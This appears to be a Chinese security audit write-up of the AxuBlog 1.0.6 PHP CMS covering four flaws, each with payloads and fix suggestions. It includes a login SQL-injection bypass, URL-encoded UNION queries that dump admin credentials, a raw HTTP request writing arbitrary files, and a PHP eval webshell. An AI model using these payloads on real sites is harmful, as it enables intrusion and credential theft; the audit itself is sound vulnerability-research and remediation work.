AXUBLOG 代碼審計報告

[ 審計信息 ]

版本:axublog1.0.6
編輯器:phpstorm
調試工具:XDEBUG、SEAY源代碼審計系統、Firefox、BurpSuit

漏洞一:後臺萬能密碼登陸

[ 審計方法]

動態調試

[ 漏洞原理與危害 ]

原理:SQL注入
危險等級:高危

[ 漏洞分析 ]

在 ./ad/login.php 的第84行開始看到$user、$psw$loginlong都是直接從$_POST直接傳送過來的。

function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); 
@$loginlong=$_POST["loginlong"];

setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');

$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
if(!$sql){$jieguo="<div id=redmsg>(數據庫查詢失敗!)</div>";}else{
   $num=mysql_num_rows($sql);
            if($num==0){$jieguo='<div id=redmsg>登錄失敗:賬戶或密碼錯誤!</div>';}
            else{
loginpass($loginlong);
            $jieguo='<div id=bluemsg>登錄成功!正在前往<a href="index.php">後臺</a>。。。</div><meta http-equiv="refresh" content="1;url=index.php">';
            @$chkmoblie=isMobile();
            if($chkmoblie==1){$jieguo='<div id=bluemsg>登錄成功!正在前往<a href="wap.php">後臺</a>。。。</div><meta http-equiv="refresh" content="1;url=wap.php">';}
            }

在靜態審計的過程中需要追入一開始的include的文件用以檢查是否對 $_POST變量進行過濾。但是這個比較複雜的過程可以通過使用動態調試來簡化。
./ad/login.php 中第5行下斷點以便追蹤$_POST變量的值。
圖片
當從登陸頁面輸入登陸的賬戶和密碼,程序便可斷在我們設置的斷點處。
圖片

這裏沒有發現有對$_POST變量進行過濾,繼續追蹤下去。
在第94行發現我們傳遞的數值沒有經過過濾就直接帶入到數據庫進行查詢,這就造成SQL注入
圖片
等執行完流程之後發現登陸成功了。
圖片

[ Payload構造 ]

構造POST數據

user=aaa'+or+1=1+#&psw=admin&loginlong=86400

[ 修復建議 ]

  1. 增加對變量的過濾,可以增加如下代碼:
function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); 
@$loginlong=$_POST["loginlong"];

// -------------------add-filter-code--------------
    if(!get_magic_quotes_gpc()){
        @$user=htmlentities($user,ENT_QUOTES,'utf-8');
        @$psw=htmlentities($psw,ENT_QUOTES,'utf-8');
        @$loginlong=htmlentities($loginlong,ENT_QUOTES,'utf-8');
    }
// ------------------------------------------------

setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');

$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
if(!$sql){$jieguo="<div id=redmsg>(數據庫查詢失敗!)</div>";}else{
... (餘下代碼省略)

圖片
2. 更改數據庫交互函數,使用PDO等預編譯技術

漏洞二:前臺數字型SQL注入

[ 審計方法]

靜態分析

[ 漏洞原理與危害 ]

原理:SQL注入
危險等級:高危

[ 漏洞分析 ]

./hit.php文件代碼如下:

<?php
header("Content-type:text/html; charset=utf-8");
require("cmsconfig.php");
require("class/c_other.php");
sqlguolv();

$g=$_GET['g'];


if ($g=='arthit'){
$id=$_GET['id'];
    if($id!=''){
    
$tab=$tabhead."arts";
mysql_select_db($tab);
$sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);
$sql = mysql_query("select * from ".$tab." where id=".$id);
$row=mysql_fetch_array($sql);
    $str=$row['hit'];
    echo 'document.write('.$str.');';
    }
}

在第16行和第17行都將 $id直接帶入SQL查詢,而$id是直接從 $_GET['id'] 中提取的。
設想使用如下url進行注入,但發現被攔截了

http://localhost/test/hit.php?g=arthit&id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12

圖片

這裏被攔截的原因出自 sqlguolv() 。追入該函數看過濾的代碼:

Function sqlguolv() {
      @header("Content-type:text/html; charset=utf-8");
if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法訪問!";    exit;}
}

這裏嘗試使用大小寫來繞過,但是因爲正則函數是使用 /i ,導致大小寫被忽略,所以不可行。這裏Thinking師傅的審計文章裏有提到:

sqlguolv()函數中對字符串進行檢測的方式是從 $_SERVER['QUERY_STRING'] 中提取請求的字符串,並且不會對URL編碼進行解碼。
但是在 hit.php 中對參數的賦值是從$_GET中提取的,而GET方法會對URL進行一次解碼
因此過濾可以被繞過。

[ Payload構造 ]

構造URL:

http://localhost/test/hit.php?g=arthit&id=-1+%75%6e%69on+s%65%6c%65ct+1,2,3,4,5,6,user(),8,9,10,11,12

圖片
獲取管理員的賬號密碼

http://localhost/test/hit.php?g=arthit&id=-1%20+%55NION+ALL+%53ELECT+1,2,3,4,5,6,concat(adnaa,'|',adpss),8,9,10,11,12%20from%20axublog_adusers

圖片

[ 修復建議 ]

  1. 加強sqlguolv()的功能,針對 $_SERVER['QUERY_STRING']不對URL進行解碼的問題進行修復,即增加解碼的步驟並完善正則匹配的關鍵字。
//c_other.php

Function sqlguolv() {
    @header("Content-type:text/html; charset=utf-8");
    //---------------fix-part---------------

    $checkpara = '/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|concat|\^|preg|like|substr|\(|\)/i';
    $_SERVER['QUERY_STRING'] = urldecode($_SERVER['QUERY_STRING']);
    if (preg_match($checkpara,$_SERVER['QUERY_STRING'])==1 or preg_match($checkpara,file_get_contents("php://input"))==1){
        echo "警告 非法訪問!";
        exit;
    }

    //--------------------------------------

}

圖片

  1. 針對此處的漏洞進行修復:此處漏洞是數字型,所以直接對id進行強制轉換成int型再帶入查詢。
//hit.php
if ($g=='arthit'){
$id=$_GET['id'];

    if($id!=''){
    //-----------fix-code--------------------------
        $id = intval($id);
    //---------------------------------------------
        $tab=$tabhead."arts";
        mysql_select_db($tab);
        $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);
        $sql = mysql_query("select * from ".$tab." where id=".$id);
        $row=mysql_fetch_array($sql);
        $str=$row['hit'];
        echo 'document.write('.$str.');';
    }

}

3、使用預編譯技術和數據庫進行交互。

三、任意文件上傳

[ 審計方法]

靜態分析

[ 漏洞原理與危害 ]

原理:因爲對傳入的參數控制不嚴格導致任意文件上傳可getshell。
危險等級:高危

[ 漏洞分析 ]

在 ./ad/theme.php 的第186行有如下代碼:

<?php 
function edit2save(){
global $themepath;
?>
<div class="yj_green" id=full>
<b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
<div class="boxcontent">
<h2><a href="?">主題管理</a> > <a href="javascript:history.go(-2)">編輯主題</a> > 編輯文件 > <a href="javascript:history.back()">返回</a></h2>
</div>
<div class="t1"><div class="t2">
<?php
$path=$_REQUEST['path'];
$content=stripslashes($_REQUEST['content']);
?>
<p>編輯文件:<?=$path?></p>
<?php
if($path==''){echo'文件路徑錯誤!';exit;}

if(file_put_contents ($path, $content)){echo"保存文件成功!";} 
else{echo"保存文件失敗!";}
?>

該部分是對傳入的$content的內容寫入$path所指定的文件中。但是在寫入的過程中沒有對$content進行過濾,所以可以在$content中傳入惡意代碼。

再查找該函數所調用的地方,一共是有兩處:
圖片
第一處在app.php的第18行;
第二處是在theme.php的第15行,在switch語句的分支內:
圖片

兩處使用方法都一樣。

[ Payload構造 ]

POST /test/ad/theme.php?g=edit2save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: tagshu=2; Phpstorm-412f56be=1eecaa0c-569a-4b04-a486-b30c93e38533; bdshare_firstime=1544593304718; UM_distinctid=169d2e34f2b31-02627307218e188-4c312d7d-1fa400-169d2e34f2c50; CNZZDATA1256279252=838561257-1554019595-%7C1554019595; artshu=2; CNZZDATA1260680534=639309003-1554195859-http%253A%252F%252Flocalhost%252F%7C1554220147; applinks=%3Cp%3E%3Ca++target%3D%22main%22+href%3D%22..%2Fapp%2Fdbbackup%2Findex.php%22%3Edbbackup%E6%95%B0%E6%8D%AE%E5%BA%93%E5%A4%87%E4%BB%BD%E6%81%A2%E5%A4%8D%E7%A8%8B%E5%BA%8F%3C%2Fa%3E%3C%2Fp%3E; PHPSESSID=p9354usd4oqusi7v73ujr01gp2; lggqsj=2019-04-05+14%3A54%3A51; chkad=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A67.0%29+Gecko%2F20100101+Firefox%2F67.0_127.0.0.1_2019-04-04+14%3A54%3A50
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 48

path=../evil.php&content=<?php phpinfo(); ?>

圖片
圖片

寫webshell也類似,就不再貼圖了。

[ 修復建議 ]

  1. 針對本主題而言,調用edit2save的函數功能點僅僅是編輯about頁面:
    圖片

其頁面的地址也是固定的:所以直接在後臺寫死或者在後臺對傳遞來的path做校驗。
從theme.php的第195行開始

<?php
$path=$_REQUEST['path'];
//------fix-code-----------
if ($path != '../theme/default/about.mb'){
    echo 'about.mb地址不正確';
    exit ;
}
//---------------------------
$content=stripslashes($_REQUEST['content']);
?>
<p>編輯文件:<?=$path?></p>
<?php
if($path==''){
    echo'文件路徑錯誤!';
    echo $path;
    exit;
}

圖片

四、後臺生成about頁面getshell

[ 審計方法]

靜態分析

[ 漏洞原理與危害 ]

原理:因爲在生成about的時候調用了ob_get_contents函數來執行about.mb裏面的php語句,而沒有做應有的檢查所以導致可以寫入webshell。
危險等級:高危

[ 漏洞分析 ]

./ad/html.php 的第694行有如下代碼:

ob_start();
include($mb);
$html = ob_get_contents ();
ob_clean();
$html=mbreplace($html);
file_put_contents ($cache, $html);

echo '生成about.html成功: <a target=blank href="'.$cache.'">訪問</a>';
?>

這個地方實際上就是把about.mb包含進來之後執行其內部的php語句,然後再將一些標籤替換成變量的值,最後把處理的結果放入$cache變量中再將其寫入aout.html頁面。雖然最後生成的頁面是靜態的,但是依舊不會阻止getshell的腳步。

[ payload構造 ]

思路一:用 file_get_content函數寫入webshell:
在about.mb尾部添加如下代碼:

<?php 
file_put_contents('../shell.php','<?php @eval($_GET["a"]); ?>'); 
?>

然後點擊生成about頁面,就可以看到目錄下生成了webshell
圖片
然後訪問:

http://localhost/test/shell.php?a=phpinfo();

圖片

思路二:通過類似方法,使用system函數執行反彈腳本的語句。

[ 修復意見 ]

  1. 對about.mb的內容進行檢測,匹配是否存在file_put_contentscall_user_funcevalassertsystem等容易造成危險的函數,若有就報錯並結束流程。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章